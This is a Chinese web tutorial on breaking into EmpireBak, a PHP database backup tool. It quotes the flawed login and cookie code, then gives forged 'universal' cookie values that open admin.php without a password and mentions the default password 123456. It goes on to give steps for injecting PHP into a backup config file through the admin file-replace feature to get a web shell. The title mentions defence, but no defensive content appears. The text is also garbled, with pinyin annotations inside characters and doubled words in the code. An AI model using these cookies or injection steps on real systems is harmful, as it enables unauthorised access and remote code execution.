帝國(guó)備份王(Empirebak)萬能cookie及拿shell方法與防御
1.偽造cookie登錄系統(tǒng)(其實(shí)這一步多余的,大多用戶連密碼都沒改,都是默認(rèn)的123456)
登錄成功設(shè)置4個(gè)cookie,看代碼
- functionlogin($lusername,$lpassword,$key,$lifetime=0){
- global$set_username,$set_password,$set_loginauth,$set_loginkey;
- if(emptyempty($lusername)||emptyempty($lpassword)){
- printerror("EmptyLoginUser","index.php");
- }
- //驗(yàn)證碼
- if(!$set_loginkey)
- {
- if($key<>getcvar('checkkey')||emptyempty($key))
- {
- printerror("FailLoginKey","index.php");
- }
- }
- if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)
- {
- printerror("ErrorUser","index.php");
- }
- //認(rèn)證碼
- if($set_loginauth&$set_loginauth!=$_POST['loginauth'])
- {
- printerror("ErrorLoginAuth","index.php");
- }
- $logintime=time();
- $rnd=make_password(12);//生成隨機(jī)字符
- $s1=esetcookie("bakusername",$lusername,0);
- $s2=esetcookie("bakrnd",$rnd,0);//隨機(jī)字符
- $s3=esetcookie("baklogintime",$logintime,0);
- Ebak_SCookieRnd($lusername,$rnd);//
- if(!$s1||!$s2)
- {
- printerror("NotOpenCookie","index.php");
- }
- printerror("LoginSuccess","admin.php");
- }
再看看make_password函數(shù)
- functionmake_password($pw_length){
- $low_ascii_bound=50;
- $upper_ascii_bound=122;
- $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);
- while($i<$pw_length)
- {
- mt_srand((double)microtime()*1000000);
- $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);
- if(!in_array($randnum,$notuse))
- {
- $password1=$password1.chr($randnum);
- $i++;
- }
- }
- return$password1;
- }
這個(gè)函數(shù)只是生成隨機(jī)數(shù),再看看Ebak_SCookieRnd函數(shù)
- functionEbak_SCookieRnd($username,$rnd){
- global$set_loginrnd;//$set_loginrnd為config.php里面的驗(yàn)證隨機(jī)碼
- $ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');//沒有把密碼加進(jìn)去,于是漏洞產(chǎn)生了
- esetcookie("loginebakckpass",$ckpass,0);
- }
下面給出萬能cookie(key:value):
- ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6
- ebak_bakrnd:35y5cCnnA4Kh
- ebak_bakusername:admin
- ebak_baklogintime:4070883661
使用以上cookie即可直接訪問admin.php
2.拿shell
后臺(tái)參數(shù)設(shè)置一般都設(shè)置好了,如果不能連接數(shù)據(jù)庫(kù),可以在數(shù)據(jù)庫(kù)設(shè)置里填個(gè)自己的遠(yuǎn)程數(shù)據(jù)庫(kù)
備份數(shù)據(jù),隨便找個(gè)數(shù)據(jù)庫(kù)備份,
然后到替換目錄文件內(nèi)容里,選擇剛才備份的數(shù)據(jù)庫(kù),
將”$b_table=”
替換成
“phpinfo();
$b_table=”
這里shell的路徑就是bdata/mysql_20141007221849/config.php
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。